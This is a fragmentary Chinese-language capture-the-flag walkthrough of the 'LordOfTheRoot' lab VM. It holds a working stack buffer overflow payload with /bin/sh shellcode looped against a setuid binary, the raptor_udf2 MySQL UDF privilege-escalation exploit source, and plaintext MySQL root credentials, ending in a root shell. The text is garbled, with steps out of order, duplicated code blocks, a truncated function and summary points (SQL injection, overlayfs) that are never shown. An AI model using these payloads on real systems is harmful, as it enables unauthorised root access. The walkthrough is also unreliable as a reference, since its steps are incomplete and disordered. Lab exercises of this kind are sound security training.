当搜索SSH时，它说Knock Friend To Enter''和Easy as 123’’，然后要求输入我们不知道的密码。现在，这暗示着端口碰撞。试试看：
1 2 3 4 5 6
root@kali:~# nmap -r -Pn -p 1,2,3 192.168.56.113 -v PORT STATE SERVICE 1/tcp filtered tcpmux 2/tcp filtered compressnet 3/tcp filtered compressnet MAC Address: 08:00:27:0B:D4:69 (Oracle VirtualBox virtual NIC)
现在再次启动nmap扫描。希望这次的结果中有多个端口。
1 2 3 4 5 6 7 8 9 10 11 12 13
root@kali:~# nmap -p- -A -v 192.168.56.113 --min-rate=10000 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA) | 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA) | 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA) |_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519) 1337/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Site doesn't have a title (text/html).
root@LordOfTheRoot:/root# cat Flag.txt cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf
(gdb) run $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"') The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /tmp/file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"') process 30271 is executing new program: /bin/dash $ id uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol) $ whoami smeagol
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
准备好漏洞利用程序后，回到/SECRET/目录并找到适当的文件并执行脚本：
1 2 3 4
smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file door1/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped door2/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped door3/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped
运行下面的命令，成功提权如下所示。。。
1
for a in {1..1000}; do /SECRET/door3/file $(python -c 'print "A" * 171 + "\x70\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
# cd /root # ls Flag.txt buf buf.c other other.c switcher.py # cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf
root@kali:~# searchsploit User-Defined Function ---------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ---------------------------------------------------------------------------------- ---------------------------------------- Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly ca | exploits/windows/dos/43466.js MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1) | exploits/linux/local/1181.c MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) | exploits/linux/local/1518.c MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution | exploits/windows/remote/3274.txt ---------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result root@kali:~# cat /usr/share/exploitdb/exploits/linux/local/1518.c /* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library forlocal privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys * */
typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS;
typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0);
typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS;
typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0);
smeagol@LordOfTheRoot:~$ mysql -uroot -pdarkshadow Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 9781 Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
mysql> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
mysql> quit Bye smeagol@LordOfTheRoot:~$ sudo bash root@LordOfTheRoot:~# id uid=0(root) gid=0(root) groups=0(root) root@LordOfTheRoot:~# whoami root root@LordOfTheRoot:~# cd /root root@LordOfTheRoot:/root# ls buf buf.c Flag.txt other other.c switcher.py root@LordOfTheRoot:/root# cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf root@LordOfTheRoot:/root#
可以看到，成功的提权了
知识点总结
端口碰撞
sql注入时间盲注
“overlayfs”本地权限提升
利用SUID利用root拥有的二进制文件提权
gdb调试得到python shellcode的poc
mysql-udf提权
Game over
不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this…It’s a pity…
